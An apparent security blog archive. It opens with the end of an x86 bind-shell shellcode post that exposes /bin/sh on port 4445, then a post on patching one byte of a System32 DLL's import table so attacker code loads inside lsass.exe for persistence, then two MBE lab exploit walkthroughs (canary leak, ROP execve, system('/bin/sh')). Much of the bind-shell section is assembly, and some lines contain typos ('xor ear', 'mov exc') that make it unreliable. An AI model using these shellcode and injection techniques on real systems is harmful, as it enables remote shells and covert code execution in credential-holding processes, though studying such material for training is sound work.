              xor eax, eax         ;remove x00/NULL byte
              mov al, 0x66        ;syscall 102 for socketcall
              mov bl, 0x02        ;net.h SYS_BIND 2 (0x02)
              mov ecx, esp        ;arg for SYS_BIND
              int 0x80               ;interrupt/execute

              call call_bind
              port_number dw 0x5d11  ;port 4445 (0x115d)
                                                        ;this gets pushed to the stack after the call instruction

0x3 - listen

The listen() syscall is pretty straightforward.

            push 0x1                         ; int backlog
            push edi                          ; sockfd from eax _start
           xor eax, eax                    ;remove x00/NULL byte
           mov al, 0x66                   ;syscall 102 for socketcal
           xor ebx, ebx                    ;remove x00/NULL byte
          mov bl, 0x4                      ;net.h SYS_LISTEN 4
          xor ecx, ecx                     ;remove x00/NULL byte
          mov ecx, esp                    ;arg for SYS_LISTEN
          int 0x80                           ;interrupt/execute

0x4 - accept

Likewise, accept() is pretty straight forward.

             xor ear, eax                  ;remove x00/NULL byte
             push eax                       ;push NULL value to addrlen
             xor ebx, ebx                 ;remove x00/NULL byte
            push ebx                       ;push NULL value to addr
            push edi                        ;sockfd from eax _start
            mov al, 0x66                 ;syscall 102 for socketcall
            mov bl, 0x5                   ;net.h SYS_ACCEPT 5
            xor ecx, ecx                  ;remove x00/NULL byte
            mov ecx, esp                 ;arg for SYS_ACCEPT
            int 0x80                         ;interrupt/execute

0x4a - change_fd

This is all the dup2() functions which ensure file /bin/sh goes through the socket connection

            mov ebx, eax                  ;moves fd from accept to ebx
            xor ecx, ecx                    ;removes 0x00/NULL byte, 0 (std in)
            xor eax, eax                   ;removes 0x00/NULL byte
            mov al, 0x3f                  ;syscall 63 for dup2
            int 0x80                         ;interrupt/execute

            mov al,0x3f                   ;syscall 63 for dup2
            inc ecx                           ;+1 to ecx, 1 (std out)
            int 0x80                         ;interrupt/execute

            mov al, 0x3f                  ;syscall 63 for dup2
            inc ecx                           ;+1 to ecx, 2 (std error)
            int 0x80                         ;interrupt/execute

0x5 - execve

At this point we have successfully set-up our socket() and we can establish a bind() port, listen() on incoming connections and accept() it. We are now ready to run our execve(). Once the connection is established, execve will be used to execute /bin/sh.

The following instructions are taken directly from the execve module of the SLAE course.

             xor eax, eax                 ;removes x00/NULL byte
             push eax                      ;push first null dword

             push 0x68732f2f          ;hs// 
             push 0x6e69622f          ;nib/

              mov ebx, esp              ;save stack pointer in ebx
             push eax                       ; push null byte as 'null byte terminator'
             mov edx, esp               ;moves address of 0x00hs//nib/ into ecx

             push ebx
             mov exc, esp

             mov al, 0xb                 ; syscall 11 for execve
             int 0x80

And we are done!

Testing our bind shell.

We compile nasm file and execute it.

Then using another machine (Kali), I connect to the ubuntu which spawns /bin/sh shell and we can run commands remotely.

Ubuntu IP:

We can also run the netstat command in the ubuntu machine to verify the established connection between the BT and Ubuntu machines:

Success..we can see the connection established.

Finally, we use objdump to obtain the shellcode from our executable

***Note the last 2 bytes of the shellcode is the port to bind on. Keeping in mind little-endian structure. We should be able to just change the last 2 bytes of the shellcode to configure a different port to bind on.

Here's an example of using the shellcode with a .c program

We compile shellcode.c, execute it and connect to 4445 from out BT machine.


PE Import Table hijacking as a way of achieving persistence - or exploiting DLL side loading

27 December 2019 at 03:56


In this post I describe a simple trick I came up with recently - something which is definitely nothing new, but as I found it useful and haven't seen it elsewhere, I decided to write it up.

What we want to achieve

So - let's consider backdooring a Windows executable with our own code by modifying its binary file OR one of its dependencies (so we are not talking about runtime code injection techniques or hooking,  neither about abusing known persistence features like AppInit DLLs and the like).

Most of us are familiar with execution flow hijacking combined with:

We probably heard of IAT hooking (in-memory), but how about on-disk?

Import Table and DLL loading

Both EXE and DLL files make use of a PE structure called Import Table, which is basically a list of external functions (usually just WinAPI) the program is using, along with the names of the DLL files they are located in. This list can be easily reviewed with any PE analysis/editing tool like LordPE, PEView, PEStudio, PEBear and so on:

An excerpt of the calc.exe Import table displayed in PEView

These are the runtime dependencies resolved by the Windows PE loader upon image execution, making the new process call LoadLibrary()  on each of those DLL files. Then the relevant entries for each individual function are replaced with with its current address within the just-loaded library (the GetProcAddress() lookup) - this is the normal and usual way of having this done, taken care by the linker during build and then by the Windows loader using the Import Table.

I need to mention that the process can as well be performed directly by the program (instead of using the Import Table), by calling both LoadLibrary() and then GetProcAddress(), respectively from its own code at some point (everyone who wrote a windows shellcode knows this :D). This second way of loading DLLs and calling functions from them is sometimes referred to as dynamic linking (e.g. required for calling native APIs) and in many cases is a suspicious indicator (often seen in malicious software).

Anyway, let's focus on the Import Table and how we can abuse it.

Getting right to it - hijacking the Import Table and creating the malicious PoC DLL

WARNING: Please avoid experimenting with this on a production system before you develop and test a working PoC, especially when dealing with native Windows DLLs (you could break your system, you've been warned). Do it on a VM after making a backup snapshot first.

So, without any further ado, let's say that for some reason (🤭) we would like to inject our code into lsass.exe.

Let's start with having a procmon look to see what DLLs does lsass.exe load:

A procmon filter for DLL loads performed by lsass.exe
The results once the filter is applied

Now, we are going to slightly modify one of these DLLs.

When choosing, preferably we should go after one that is not signed (as we want to chose one with high chances of being loaded after our modification).

But in this case, to my knowledge, they are all signed (some with embedded signatures - with the Digital Signatures tab visible in the explorer properties of the file, others signed in the C:\Windows\System32\catroot\).

The execution policy on this system, however, is unrestricted... oh wait, that's what I thought up until finishing up this write up, but then for diligence, I decided to actually make a screenshot (after seeing it I was surprised it worked, please feel free to try this at home):

ANYWAY - WE WANT to see what happens OURSELVES - instead of making self-limiting assumptions, so we won't let the presence of the signature deteriorate us. Also, in case system decides that integrity is more critical than availability and decides to break, we have a snapshot of the PoC development VM.

The second factor worth considering when choosing the target DLL is the presence of an Import Table entry we would feel convenient replacing (will become self-explanatory).

So, let's choose C:\Windows\System32\cryptnet.dll (sha256: 723563F8BB4D7FAFF5C1B202902866F8A0982B14E09E5E636EBAF2FA9B9100FE):

Now, let's view its Import Table and see if there is an import entry, which is most likely not used - at least during normal operations. Therefore such an entry is the most safe to replace (I guess now you see where this is going). We could as well ADD an import table entry, but this is a bit more difficult, introduces more changes into the target DLL and is beyond this particular blog post.

Here we go:

api-ms-win-core-debug-l1-1-0.dll with its OutputDebugStringA is a perfect candidate.

As Import Tables contain only one reference to each particular DLL name, all relevant functions listed in the Import Table simply refer to such DLL name within the table.

Hence, if we replace a DLL that has multiple function entries in the Import Table, we would have multiple functions to either proxy or lose functionality and risk breaking something (depending on how lazy we are).

Thus, a DLL from which only one function is imported is a good candidate. If the DLL+function is a dependency that has most likely already been resolved by the original executable before it loaded the DLL we are modifying, it's even better. If it is a function that is most likely not to be called during normal operations (like debugging-related functions), it's perfect.

Now, let's work on a copy of the target DLL and apply a super l33t offensive binary hacking technique - hex editor. First, let's find the DLL name (we simply won't care about the Import Table structure):

Searching for the DLL name in the Import Table using HxD

Got it, looks good:

Looks like we found it

Now, our slight modification:

Now, just changing ONE byte, that's all we need

So now our api-ms-win-core-debug-l1-1-0.dll became api-ms-win-code-debug-l1-1-0.dll.

Let's confirm the Import Table change in PEView:

Now, let's fire up our favorite software development tool and create api-ms-win-code-debug-l1-1-0.dll with our arbitrary code.

DevC++, new project, DLL, C

Using a very simple demo, grabbing the current module name (the executable that loaded the DLL) and its command line, appending it into a txt file directly on C: (so by default only high integrity/SYSTEM processes will succeed):

One thing, though - in order for the GetModuleFileNameA() function from the psapi library (psapi.h) to properly link after compilation, -lpsapi needs to be added to the linker parameters:

Code can be copied from here

OK, compile. Now, notice we used one export, called OutputFebugString (instead of OutputDebugString). This is because the linker would complain about the name conflict with the original OutputDebugString function that will get resolved anyway through other dependencies.

But since I wanted to have the Export Table in the api-ms-win-code-debug-l1-1-0.dll to match the entry from the cryptnet.dll Import Table, I edited it with HxD as well:

Fixing it


Fixing it

Normally we might want to test the DLL with rundll32.exe (but I am going to skip this part). Also, be careful when using VisualStudio, as it might produce an executable that by default will be x86 (and not x64) and for sure will produce an executable requiring visual C++ redistributables (even for a basic hello world-class application like this), while we might want to create portable code that will actually run on the target system.

What we are expecting to happen

We are expecting the lsass.exe process (and any other process that imports anything from cryptnet.dll) to load its tampered (by one byte!) version from its original location in spite of its digital signature being no longer valid (but again, lsass.exe and cryptnet.dll are just examples here).

We are also expecting that, once loaded, cryptnet.dll will resolve its own dependencies, including our phony api-ms-win-code-debug-l1-1-0.dll, which in turn, upon load (DllMain() execution) will execute our arbitrary code from within lsass.exe process (as well as from any other process that loads it, separately) and append our C:\poc.txt file with its image path and command line to prove successful injection into that process.


OK, now we just need to deploy our version of cryptnet.dll (with the one Import Table entry hijacked with our phony api-ms-win-code-debug-l1-1-0.dll) along with our phony api-ms-win-code-debug-l1-1-0.dll itself into C:\Windows\System32\.

For this, obviously, we need elevated privileges (high integrity administrator/SYSTEM).

Even then, however, in this case we will face two problems (both specific to C:\Windows\System32\cryptnet.dll).

The first one is that C:\Windows\System32\cryptnet.dll is owned by TrustedInstaller and we (assuming we are not TrustedInstaller) do not have write/full control permissions for this file:

The easiest way to overcome this is to change the file ownership and then grant privileges:

The second problem we will most likely encounter is that the C:\Windows\System32\cryptnet.dll file is currently in use (loaded by multiple processes).

The easiest workaround for this is to first rename the currently used file:

Then deploy the new one (with hijacked Import Table), named the same as the original one (cryptnet.dll).

Below screenshot shows both new files deployed after having the original one renamed:


Now, for diagnostics, let's set up procmon by using its cool feature - boot logging. Its driver will log events from the early stage of the system start process, instead of waiting for us to log in and run it manually. That boot log itself is, by the way, a great read:

Once we click Enable Boot Logging, we should see the following prompt:

We simply click OK.


And let's check the results.

This looks encouraging:

Oh yeah:

Let's run procmon to filter through the boot log. Upon running we should be asked for saving and loading the boot log, we click Yes:

Now, the previous filter (Process name is lsass.exe and Operation is Load Image) confirms that our phony DLL was loaded right after cryptnet.dll:

One more filter adjustment:

To once more confirm that this happened:

Why this can be fun

DLL side loading exploitation

This approach is a neat and reliable way of creating "proxy" DLLs out of the original ones (that differ by no more than one byte). Then we only might need to proxy one or few functions, instead of worrying about proxying all/most of them.


Introducing injection/persistence of our own code into our favorite program's/service's EXE/DLL.

All with easy creation of the phony DLL (just write in C) and a simple byte replacement in an existing file, no asm required.

Stack-canary (ROP), format string leak plus how I learned that nullbyte is not a badchar to scanf("%s",buf) - while socat ignores read on STDIN - MBE LAB8A

28 July 2019 at 14:28

This time we are having some fun with a standard null-armored stack canary, as well as  an additional custom one (we will extensively cover both scenarios, as there's plenty of subject matter here), plus some peculiarities regarding scanf() and read().

The relevant MBE lecture can be found here (the last section covers stack canary implementations and possible bypasses, as well as resources on deeper research).

A look at the target app, its vulns and its custom stack cookie protection

As usual, the target app can be found here -

Here are the compilation flags; static and no PIE - although the latter does not matter much in this case - we will leak the code segment base anyway:

Let's start with the main function:

We have two always functions called from the main function one after another, regardless to any user input; selectABook() and findSomeWords().

selectABook() looks like this:

Apart from its (and the entire app's, for that matter) general weirdness, we can see that:

  1. the function is recurrent (line 29) when user input does not match any of the hardcoded conditions
  2. it's vulnerable to a stack-based buffer overflow via scanf("%s",buf_secure) - line 16
  3. it's also vulnerable to format string (line 17)

readA(), readB() and readC() are just simple methods printing out static hardcoded strings (Aristote's Metaphysics quotes), nothing useful in the context of exploitation (unless we had printf() GOT overwritten, but that is not what's going to happen here):

So at this point it already looked like I had what was needed to pwn the app; two bugs to chain together:

  • an overflow to overwrite the saved RET on the stack
  • a format string to leak the value of stack canary (and stack and code base if neessary) - so we can overwrite the stack canary with its own original value and therefore avoid the stack guard noticing we smashed the stack and therefore avoid the stack guard preventing the program from returning to our arbitrary EIP

Leaking the standard canary with format string

Let's start with identifying how the actual built-in code for handling stack canaries looks like in gcc-produced assembly:

the beginning of the main() function
the bottom of the main() function

The same holds true for all other functions.

Now, let's see what the stack values look like between runs and how exactly stuff is aligned on the stack. As we want to leak from selectABook()'s stack - because this is where the format string resides - let's put our breakpoints there:

Let's stop at selectABook+15 - our current canary will be held in EAX.

Then at selectABook+42 - after the scanf() call - we'll fill the buf[512] with exactly 512 bytes so we don't overflow anything yet and see the original values on the stack.

So we run:

breakpoint 1 - canary value is held in EAX

OK, now let's continue. Now (we have already been prompted above - Enter Your Favorite Author's Last Name:), we just paste 512 characters:

OK, we're past the scanf() call. Let's see the stack now:

... snip ...

The format string we are exploiting is simple printf(buf_secure). buf_secure[512] is 512 bytes-long. If we apply abuser friendly format string %p (so the whole dword of choice is printed, as hex) - just like we did here - considering that 512/4 = 128, we would expect our canary at %129$p.

Nah, something's wrong. Maybe it's because string formats index the`$`-referred arguments starting at 1... Let's see what's under %1$p:

Nah, it's the buf_secure address itself.

How about 130?

Yeah more like it.

The value is consistent between function calls (selectABook() as well as selectABook()->selectABook() recurrent call - remember, the stack canary value is global to the entire process) and it changes between runs.

Also, in this case the saved EBP should be right next to it, at 131:

Consecutive values of saved EBP across recurrent selectABook() calls

Yup. The consecutive values are decreasing by a fixed offset, as recurrent calls of selectABook() continue.

We will need this value as well while developing the exploit for this.

As a matter of fact at this point I even wrote the first version of the exploit (

As usual - the exploit failed at the first attempt...

And I was too lazy to actually debug it.

Instead, once I noticed that the saved RET was not overwritten in result of overflowing the buffer, I mistakenly assumed (self-limiting assumptions!) that the nullbyte-armoured stack canary (you probably already noticed that all the canaries so far had nullbyte as their least-significant byte) was the reason I could not - via scanf("%s",buf_secure) - write beyond the nullbyte. I just thought scanf() would stop reading after encountering 0x0 on its input, explicitly because of the %s format string. I was wrong, but this assumption was reinforced by the fact that oftentimes while figuring out solutions to MBE targets I felt like it was all fine and dandy... only to later realize some tiny little obstacle. A tiny little obstacle forcing me to double the overall effort to attain a working exploit. Thus I assumed selectABook() exploitability was too good (too easy) to be true.

To follow the selectABook() exploitation route, skip to Building the ROP chain and then to Successfully exploiting selectABook() locally and remotely sections.

Otherwise, read on to explore the remainder of the target app and my exploit dev process.

Analyzing the rest of the code

We have only read half of the source code yet (as mentioned, this is an extensive write up)!

So, to feed our curiosity, instead of getting ahead of ourselves, let's see what's going on in the second function - findSomeWords():

The stack-based buffer overflow of the 24-byte buf[24] buffer with read(STDIN, buf,2048) at line 75 is quite blatant.

The rest of the code is just super-weird. First, the unused char lolz[4], then the entire custom cookie mechanism.

Bypassing the custom canary check

So let's try to figure out what's the deal with it.

global_addr and global_addr_check are global pointers held in the data segment, declared at the top of the source code, right below the compilation flags comment:

Although their initialization expressions are quite simple, I found them far away from obvious:

So apparently global_addr is a pointer to the next value after the buf (I initially thought it's just the address of the buf buffer incremented by 1, but I was wrong).

Then global_addr_check is the global_addr (whatever it is) decremented by 2.

And then finally there's this check:

The implication is as follows: if we want to exploit the stack-based buffer overflow in findSomeWords(), we need the function to properly return, without the exit(EXIT_FAILURE) nor the standard stack guard interrupting.

So in order to make it return, we need to both:

  • overwrite the original stack canary stored on the stack with its own value that we leak earlier via format string in selectABook() (there is just one stack canary value for the entire program, initiated before main() is executed, used by the stack guard for all following function calls)
  • make the ((( globaladdr))^((globaladdrcheck))) != ((( globaladdr))^(0xdeadbeef)) condition return false so exit(EXITFAILURE) is not called

Let's simplify the custom-cookie condition.

We want this:

to evaluate false.

Which means we want this to be true:

Which means global_addr_check must equal 0xdeadbeef.

OK fair enough, does this mean that the custom cookie protection by default makes the program exit with EXIT_FAILURE error code and Whoah there! message?

Yes, it does - simply running the app and providing "A" and "HELLO" inputs, respectively, results in this:

Fair enough. Let's bypass this custom canary, forgetting about the format string and overflows for now.

Let's make this app print out Whew you made it! instead of doing exit(EXIT_FAILURE) in findSomeWords():

As my poor understanding of C kept me unsure about the mechanism, I got to the bottom of this by running gdb, disassebmling the findSomeWords()function, setting up a breakpoint after the read() call and stepping through it, instruction after instruction.

OK, breapoints:

Debugging step by step.

1)  findSomeWords+80:

At this point EAX is 0xbffff700 --> 0xc43c9300  - the address of the canary on the local function's stack.

2) findSomeWords+87:

At this point EAX is still 0xbffff700 --> 0xc43c9300, EDX is 0xc43c9300 (canary from the stack). So now we have proof that the global_addr = (&buf+0x1); instruction makes the global_addr pointer point at the canary on the stack.

And now we are about to find out what's under ds:0x80edf24 (the value just gets copied to EAX).

3) findSomeWords+92:

And now EAX is 0x080481a8... weird. Let's peek the stack and see what's what:

OK, so global_addr points at the canary on the stack, while global_addr_check points at the value two dwords (-0x8) earlier. But hang on, where did this 0x080481a8 value come from?

The reason is that we did not fill the entire buf[24] buffer (I only sent 11 Bs at that time). Here's how the buf[24] overlaps with global_addr_check:

This means that:

global_addr points at the stack-stored copy of the canary

global_addr_check points at the before-last byte of the buf[24]. So the (&buf+0x1); instruction considered the buf size, making it point at the next dword on the stack (the canary), while global_addr_check = global_addr-0x2; made global_addr_check points two dwords earlier, at the four bytes at buf[15-19].

In recap: the stack-stored canary XOR-ed with 0xdeadbeef must equal stack-stored canary XOR-ed with the before-last dword of the buff. Which simply means we just want the before-last dword of buff[24] (again, bytes 15-19) to be 0xdeadbeef.

So as long as the value we provide to the read(STDIN,buf,2048) call in findSomeWords() contains 0xdeadbeef at its fifth dword (bytes 15-19), we should bypass the custom stack protection:

Yup, that's exactly it:

OK cool, now we should be able to easily exploit the overflow in findSomeWords().

Building the ROP chain

Since we don't have libc dynamically linked in here, we can't do system().

Fine, we just want to call execve syscall the usual way:

eax = 0xb

ebx = pointer to "/bin/sh" - or, for that matter, "/bin/python" or anything other than "/bin/bash" (because bash is evil and drops the euid if called from a suid binary - fucking safety features)

ecx = edx = 0

int 0x80

Let's start ROPeme, generate the gadgets from the target binary and search through them.

Spoiler alert: at the late stage of the exploit development process I realized that - when targeting the scanf("%s") overflow - characters 0xa (newline) and 0xd (carriage-return) have to be avoided - as opposed to 0x0 (yes, really).

Thus, some of the gadgets I initially used had to be replaced due to the fact their addresses contained either 0xa or 0xd.

Running ROPeme, generating the gadgets:

Loading the gadgets:

Searching the gadgets (let's start with xor anything anything):

OK, all the last three look good for starters, we can initiate EAX with 0.

By the way, please keep in mind I started building this one with the assumption I could not use nullbytes in the payload, so instead of just putting a pop eax address followed by a nullbyte, I kept assembling these workarounds - but it was fun and finally worked.

So - as there was no xor edx edx (effectively EDX=0) gadget, I followed one of the tips found here ( to use xchg instead (as we have already put 0 to EAX):

Just keep in mind now EAX hold whatever garbage was in EDX, so we'll have to zero it again, with one of the xor eax eax gadgets.

Oh fuck, we can't use them. They all contain 0xa.

Fair enough.

Instead, we use the gadget putting 0xffffffff to EDX followed by inc edx to overflow it to 0:

Now, we want EAX to become 0xb. It's 0 at the moment.

So why not to call inc eax twelve times.

My meticulous effort to keep the chain clean from nullbytes finally collapsed when I had to nullify ecx. Instead of pop ecx followed by a nullbyte I did this:

Which looks nicer but still does not change the fact that p32(0x1) = 0x00000001 - contains three nullbytes.

Then, EBX = address of "/bin/sh" (we will smuggle /bin/sh string to the stack in user input, then just calculate its address based on the leaked EBP value):

OK, one last thing, the int 0x80 call.

But wait, it has a nullbyte (I did not want nullbytes!).

OK, so what's the instruction right above it?

It's a NOP. Wonderful. So we can as well use 0x806f8ff.

Successfully exploiting findSomeWords() locally - read(STDIN,buf,2048) not catching up via socat

Having all the bits and pieces I assembled an exploit targeting the findSomeWords() overflow, with the following algorithm:

1) leak the canary and the saved RET via format string

2) make the selectABook() function return by providing one of the expected values ("A") to its input

3) overflow the buf[24] buffer via read(STDIN, buf, 2048), using the leaked canary as well as the 0xdeadbeef constant properly aligned in the payload, followed by four bytes of garbage to fill the saved EBP and the ROP chain beginning where saved RET was:

And it worked just fine on the target binary /levels/lab08/lab8A, getting me a shell... The problem was that my privileges were still lab8A instead of expected lab8end... So I listed the /levels/lab08 directory only to find out that this one is NOT a suid binary.

Instead I found this:

This means the target is being run from root like this:

socat TCP-LISTEN:8841,reuseaddr,fork,su=lab8end EXEC:timeout 60 /levels/lab08/lab8A

"Well that's just as well" - I thought. And just changed the p = process(binary.path,stdin=PTY) line to p = remote("", 8841) and ran the thing.

It did not work.

Debugging (this time attaching to the target PID from root, as there was no other way) revealed that the exactly same exploit code did not deliver a single byte to the buf[24] buffer.

So I thought "how come, ffs... Does it mean it completely ignores the user input?".

So I ran it manually to see that was the case:

Interacting with the socat-run target app via nc

So yes, I could only interact with the selectABook() function. Simply typed "A" and pressed enter, having no further opportunity to interact with the application.

At the moment I still do not know why - please let me know if you have a clue, I am curious.

Successfully exploiting selectABook() locally and remotely

At this point, as usual when I felt despair - I peeked into Corb3nik's solutions ( - not only to see that his exploit did not deal with findSomeWords() and its custom stack canary at all - but mostly to realize he exploited selectABook() (which meant scanf("%s") ... with nullbytes in the payload!

So I fell back on the first exploit I wrote, started debugging it again. I found out the reason it was failing was due 0xa and 0xd characters in the initial ROP chain. These turned out to be the real bad characters when it comes to scanf()! Again, as opposed to nullbyte.

Then I found out that the string I was trying to make EBX point to (/bin/python) - as I found that string on the stack in the early stage of the exploit development and thought it would be nice to use it instead of delivering /bin/sh via user input) - was not there when targeting the actual app running under socat... It must have been a side effect of spawning the process from the python script with pwntools while developing the exploit.

Then it turned out my lengthy ROP chain (overflowing the local buf_secure of the  selectABook()->selectABook() call ) overwrote the /bin/sh value I delivered to the stack right after the initial format-string payload (the first call of selectABook()).

So I ended up adding additional 200 characters (H) between the format string and /bin/sh and increasing the value subtracted from the leaked EBP in the binsh_addr =EBP_value-338 expression accordingly.

1) Attacking the first selectABook() call to leak the canary and the saved EBP via format string while also stuffing /bin/sh on the stack - with 200 H-s between as this buffer will get overwritten by the ROP chain when we overflow the buffer in the second (recurrent) call selectABook()->selectABook():

2) Attacking the second call selectABook()->selectABook() by overflowing the buf_secure[512] with 512 B-s followed by the original leaked canary value, the original saved EBP value (although this value does not matter here as long as it is not a bad char) and the 0xa-free and 0xd-free ROP chain replacing the saved RET:

3) Making the third selectABook()->selectABook()->selectABook() call return (instead of continuing the recurrence) by providing one of the expected values - A:

Getting the flag

The final code can be found here:

Out-of-bound read-write without integer sign flipping - MBE LAB8B walkthrough - the bonus version without using thisIsASecret() function

6 July 2019 at 13:53


This is the continuation of - the bonus version not utilizing the thisIsASecret() function to get the shell.

So, the basic version was in fact very simple after figuring out how to control EIP. We just overwrote it with a pointer to this function:

Now, since we want to avoid using it to get the bonus points, regardless to what approach we will take (e.g. a full ROP-shell execve("/bin/sh") shellcode or a call to system("/bin/sh")), we have to attain some sort of argument control, as an arbitrary EIP just isn't enough.

How loadFave() really works

As mentioned previously, we can't print arbitrary vectors from the faves[] array by calling their own printFunc functions (like faves[i]->printFunc(faves[i])).

Even though the target application does contain a function called printFaves(),  I did not find it to be much of a use (neither for code execution, leaking nor for stack-grooming):

The problem with execution control is that this function directly calls the printVector() function, instead of using the faves[i]->printFunc pointer - the pointer we can overwrite and break our way into execution control.

Thus, after creating a v3 vector with arbitrary values and pushing it several times to the faves[] array to achieve arbitrary  printFunc pointer values,  in order to call any of those pointers first we have to load it to either of the two vectors v1, v2, explicitly asking the program to call loadFave():

Now, notice the memcpy() call's details:

It's memcpy(v, faves[i], sizeof(v));, NOT memcpy(v, faves[i], sizeof(struct vector));

It does not copy the entire fave[i] structure into v1/v2. Instead, it only overwrites sizeof(v) - which is a pointer. So the entire loadFave() operation only overwrites the first 4 bytes of the vector structure - which happen to be the printFunc pointer.

Let's illustrate this step by step.

We'll initialize v1 with values of 1 and v2 with values of 2, then sum them up, then add the sum to the faves several times, then load one of the faves back to v2 and see how it changed.

Full code can be found here:

So, after initializing the vectors, summing them up and loading the sum four times to faves, this is what faves[] and v2 look like:


Again, this is right BEFORE we load fave[3] to v2.

Note that our fave[3].printFunc is 0x00000003 - and its other fields are as well just full of 3-s.  v2 yet has its original values; v2.printFunc = printVector and fields full of 2-s.

Now, after calling loadFave() of faves[3] to v2:

Only printFunc was overwritten

So, only the printFunc pointer from the chosen fave is loaded. Everything else stays intact. When attaining execution control, we make the program call v2.printFunc(v2)/v1.printFunc(v1). Since in the basic version we simply overwrote the printFunc value with thisIsASecret() address - which does need nor take any arguments, we simply did not care about them - and honestly I did not even notice this exact loadFave() behavior until I started poking around a solution that does not involve calling thisIsASecret().

Controlling more than just EIP

OK fine, so we can make v2.printFunc (or v1.printFunc, doesn't really matter) an arbitrary value, for instance system() - even though libc is ASLR-ed, we can leak the layout as already covered in the previous part:

Sticking to v2 as our vector of choice, this means that we would effectively call system(v1). Now, let's think about it for a while. system() takes one argument, expecting it to be a pointer to a string of system commands:

And we DO NOT control the pointer being passed to it (we can only chose between v1 and v2) as its only argument:

So, once our arbitrarily chosen (e.g. system()) function gets called,  v2 pointer is the argument. And again, it looks like this:

So, what happens when system(0x80003100) is called? Well, it is going to try to execute \x90\x31\xe6\xb7\x02\0x00 as a string (remember, endianess). So even though we fully control short int v2.b, as well as further int, long int and long long int fields of the vector, the nullbyte padding the char v2.a field stands in our way. The string terminates - and although we fully control it, its first four bytes are strictly dictated by the value of EIP we force the program into.

We could possibly get this working if v2.a was at least two characters, instead of just one. In such case we would make them something like ;a, whereas ; is just one of the shell command separators (by the way if you're interested in command and argument separators, see this, while a is just another command. We could create a program/script named a in /tmp and add /tmp to our $PATH before calling the target program. But we can't do this on just one byte.

We could try to add /tmp to $PATH and then put our arbitrary commands (like /bin/sh or cat /home/lab8A/.pass) to a script named exactly \x90\x31\xe6\xb7\x02\, or whatever the current value of system() would be at the time of executing the target program - after having it leaked (ASLR).

I tried this approach. Did not work due to some of the bytes in this value not fitting into acceptable range of characters allowed in file names.

It became clear I have to try something else. Spoiler alert; stuff described in below Looking for ROP gadgets and stack-pivoting vectors section eventually did not work, although it allowed me to notice a beautiful (only potential as not actually attainable) ROP scenario.

What eventually did work is described in in the section after.

Looking for ROP gadgets and stack-pivoting vectors

So I searched for some stack pivoting scenarios (like the one described here

None of the functions used in the program turned out useful for stack-grooming in a similar way as print_index() in LAB7A - again described here

This is our sample stack at the moment of our execution takeover:

Saved RET marked white, v2 marked red

This time we do not seem to have any control over any of the stack values - unless we want to try to stuck our payload somewhere in the input buffer argv. The problem is that we won't have a gadget that would point our ESP there.

So I thought "OK we want to make ESP point somewhere at v1/v2/faves integer fields we control and put our ROP shellcode there".

These are the registers at the moment of our execution takeover (EIP was set to system() at the time):

Looks promising, EDX points at our v2 structure (its first four bytes, printFunc, contained the address of system() when the screenshot was taken).

We want a gadget like mov edx esp; pop whatever; pop whatever; ret.

mov edx esp would set our stack to the top of v2. The two following pop instructions would take out the printFunc and v2.a+v2.b dwords, so v2.c(signed short int) would become the top of the stack. Nah that's not good either, we can't control half of that value. Fuck.

I fired up ropeme I ran generate /home/levels/lab8B, which generated lab8.ggt file with gadgets. I loaded it with load lab8.ggt. Ran the following search:

Fuck, VERY few (only 5 pop; ret;) gadgets. Extremely unlikely to find the one we need.

I checked them all, one by one, looking at different slightly lower starting offsets, to see the instructions above them - making sure they are still what they should be, as depending on the offset we can get different assembly, as instructions do not have fixed lengths and they simply occur one after another. Example below:

0x1676L: pop ebp ;;

Luckily, this can be done in an easier way (ropeme

OK, what about libc? I bet there's plenty of gadgets there! So I repeated the steps with to generate gadgets from /lib/i386-linux-gnu/

OK, more like it.

By the way, peda also offers some built-in ROP helpers itself:

So, back to our mov edx esp:

Nah, not a chance.

Neither for a suitable pop esp gadget:

Just to make sure the syntax is correct:

Now, this would pivot ESP to v2:

And it would return to itself (a recursive ROP), as printFunc happens to be the address of our gadget (initial EIP control) and would be laying on the top of the stack once ESP pointed at v2, making v2 our new stack. The second execution of the gadget would result in popping the printFunc from the stack, then putting v2.a+v2.b (which have nullbytes we can't control) into ESP. Shit, this is getting nowhere. At this point I felt stuck and decided to peek into Corb3nik's solutions ( - only to find out, to my surprise, that he did not make/publish the bonus version solution.

"Never use this function"

As this thing got under my skin and kept me awake at night, I came up with this while already drifting away to sleep: since v2.a and v2.b are standing in our way, let's use our EIP control and the v2 argument passed to it on the stack to deliver a new payload to v2. I thought of fgets(), only to find out it did not work - only to realize it is expecting three arguments, as I confused it with gets() - which is exactly what we need here:

So the plan is to first calculate a new sum in such a way that its printFunc is system(), add it to faves[] under the right offset (4 is perfect) and we'll be able to load it into to v2.printFunc later.

Then we enter new data into v2 in such a way that when we sum v1 and v2, we will achieve relevant consecutive fave[i].printFunc (6 is perfect, by the way) pointer to be libc gets().

Then we load it into v2. Then we ask the program to print it, so gets() is called, allowing us to overwrite the entire v2 (and everything that follows it, although we won't need it). This is why it was important to do all the calculations and load the faves before this step - we want v2 (except for its first bytes  -  the printFunc pointer) to stay intact from now on - which is perfectly feasible with the way loadFave() actually works, as we found out earlier.

So when gets(v2) is called, we overwrite it with something like XXXX;/bin/sh. The values of the first four bytes are irrelevant (as long as they are not messing with gets() input, so we don't want nullbytes or newlines).

We don't care about the first four bytes (e.g. XXXX), as they will overwrite the current printFunc pointer (gets() address at the time).

We don't care about them as we will overwrite them once again in the next step, by calling loadFave() on faves[6] - so v2.printFunc becomes system(), with the following bytes being ;/bin/sh\x00.  

So - at this point we'll just ask the program to print v2 once again, making it call system("0xb7e63190;/bin/sh") whereas 0xb7e63190 is a sample address of system() itself. The first command will obviously fail, as it refers to a nonexistent file, the second command should succeed.

So once again, the full algorithm:

  1. Initiate v1 the same way as so far, with values of 1.
  2. Manipulate v2 in such a way that after calling v1+v2, v3.printFunc becomes system() (we attain system() at faves[4].printFunc (yup, i = 4), the same way we did so far with index 3 (4 is to avoid the negative signed integer hassle)).
  3. Add v3 to faves five times (because we want i=4).
  4. Re-enter v2 in such a way, that when summed up with v1, will make v3.g = gets().
  5. Add v2 to faves two more times (make i=6 and faves[6].printFunc = v3.g = gets().
  6. Load faves[6] to v2 (this will overwrite its printFunc pointer with gets()).
  7. Ask the program to print v2, overwriting it with XXXX;/bin/sh thanks to v2.printFunc = gets().
  8. Load faves[4] to v2 (this will overwrite its printFunc pointer with system()).
  9. Ask the program to print v2 and get the shell without using the thisIsSecret() function - the bonus version.

One more tricky thing I spent a while debugging and wondering what was wrong: -  it was crucial to use p.send("2") instead of p.sendline("2") after issuing p.sendline("3") - which tells the program to print a vector.

